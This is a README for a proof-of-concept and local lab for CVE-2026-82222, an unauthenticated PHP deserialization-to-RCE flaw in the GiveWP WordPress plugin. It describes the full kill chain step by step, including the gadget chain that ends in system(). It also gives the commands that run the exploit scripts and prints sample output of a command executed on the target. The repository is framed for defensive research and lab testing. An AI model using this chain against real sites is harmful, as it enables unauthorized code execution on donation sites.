Prova de conceito e laboratório DDEV local para CVE-2026-82222, uma injeção de objeto PHP não autenticada para RCE no plugin GiveWP do WordPress, com scripts de exploit em cURL e Python.
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Crítico) |
| CWE | CWE-502 — Desserialização de Dados Não Confiáveis |
| Afetado | GiveWP (Donation Plugin) <= 4.16.7.1 |
| Corrigido | 4.16.7.2 |
| Aviso | Patchstack |
APENAS TESTES AUTORIZADOS. Este repositório é destinado a educação, pesquisa de vulnerabilidades e testes em sistemas que você possui ou tem permissão explícita para testar. O uso não autorizado é ilegal.
Este repositório existe para ajudar profissionais de segurança a entender,
detectar e defender-se contra a CVE-2026-82222. Todas as demonstrações são
projetadas para um lab local (lab/) que você executa na sua própria
máquina. O PoC não grava nada em disco e não altera nenhuma configuração do
plugin — a saída do comando trafega apenas na resposta HTTP da requisição de
trigger. Consulte SECURITY.md para o escopo completo e a
política de reporte.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│ ├── setup.sh # one-command lab build
│ ├── set-givewp-version.sh # swap vulnerable/patched GiveWP versions
│ ├── .ddev/config.yaml # DDEV project config
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL exploit script
│ ├── poc.py # Python exploit script
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technical write-up + reachability matrix
│ ├── BURP-MANUAL.md # Burp Repeater walkthrough (request/response)
│ └── CURL-POC.md # copy/paste cURL walkthrough
├── SECURITY.md # scope, reporting and safe-use policy
└── LICENSE
Quatro requisições não autenticadas mais um trigger:
users_can_register e entrega cookies WP autenticados.TCPDF → Symfony
Session → DonorFactory → system) no campo meta last_name da conta.give_last; o GiveWP preenche o nome
a partir do banco de dados, desserializa o gadget com allowed_classes=false
e serializa o grafo de objetos ativo em wp_give_sessions.unserialize()
irrestrito; TCPDF::__destruct() alcança
call_user_func_array('system', [cmd]). A saída aparece na resposta HTTP —
nada é gravado em disco.Detalhes completos: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
Requer Docker + DDEV.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
Ambos os PoCs são de alvo único por design — não há modo de varredura em
lote ou em massa. Execute-os apenas contra o lab em lab/ ou sistemas que você
está autorizado a testar.
Saída esperada de sucesso (comando id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | Status |
|---|---|
| <= 4.16.5.1 | Vulnerável — instalação padrão é totalmente alcançável |
| 4.16.6 – 4.16.7.1 | Vulnerável — requer um formulário legado (não-V3); o registro precisa de give_register_nonce |
| 4.16.7.2 | Corrigido |
Este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança defensiva. O código incluído demonstra uma vulnerabilidade documentada para que defensores possam criar detecções, verificar correções e testar seus próprios sistemas.
Os autores não são responsáveis por qualquer uso indevido ou dano causado por este material. Não o utilize contra qualquer sistema sem autorização explícita — fazê-lo pode violar o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em todo o mundo. Consulte SECURITY.md.
MIT — consulte LICENSE.